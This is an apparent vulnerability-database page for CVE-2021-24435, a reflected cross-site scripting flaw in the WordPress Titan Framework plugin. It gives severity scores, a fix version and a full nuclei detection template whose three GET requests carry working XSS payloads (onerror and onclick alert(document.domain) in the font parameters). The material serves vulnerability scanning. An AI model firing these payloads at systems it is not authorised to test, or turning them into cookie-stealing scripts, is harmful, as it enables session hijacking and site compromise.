Browse / CVEs / CVE-2021-24435
CVE-2021-24435· gambit / titan framework· CWE-79
WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Fixed in version 2.7.12
How to confirm it
Send: GET {{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27 ; GET {{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27 ; GET {{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(doc…
Positive when: contains in header "text/html" AND matches /(?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?/ AND status 200Run it with nuclei: nuclei -id CVE-2021-24435 -u <target>
The full check
id: CVE-2021-24435
info:
name: WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting
author: xcapri,ritikchaddha
severity: medium
description: |
The iframe-font-preview.php file of the titan-framework does not properly escape the font-weight and font-family GET parameters before outputting them back in an href attribute, leading to Reflected Cross-Site Scripting issues.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: Fixed in version 2.7.12
reference:
- https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
- https://nvd.nist.gov/vuln/detail/CVE-2021-24435
- https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24435
cwe-id: CWE-79
epss-score: 0.01714
epss-percentile: 0.77599
cpe: cpe:2.3:a:gambit:titan_framework:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: gambit
product: titan_framework
framework: wordpress
tags: cve2021,cve,wp,xss,wp-plugin,titan-framework,wpscan,wordpress,gambit,vuln
http:
- method: GET
path:
- "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27"
- "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27"
- "{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: regex
regex:
- (?i)(onerror=|onclick=)['"]?alert\(document\.domain\)['"]?
- '<p>Grumpy wizards make'
condition: and
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/a88ffc42-6611-406e-8660-3af24c9cc5e8
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24435
- https://nvd.nist.gov/vuln/detail/CVE-2021-24435
- https://patchstack.com/database/vulnerability/titan-framework/wordpress-titan-framework-plugin-1-12-1-reflected-cross-site-scripting-xss-vulnerability
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from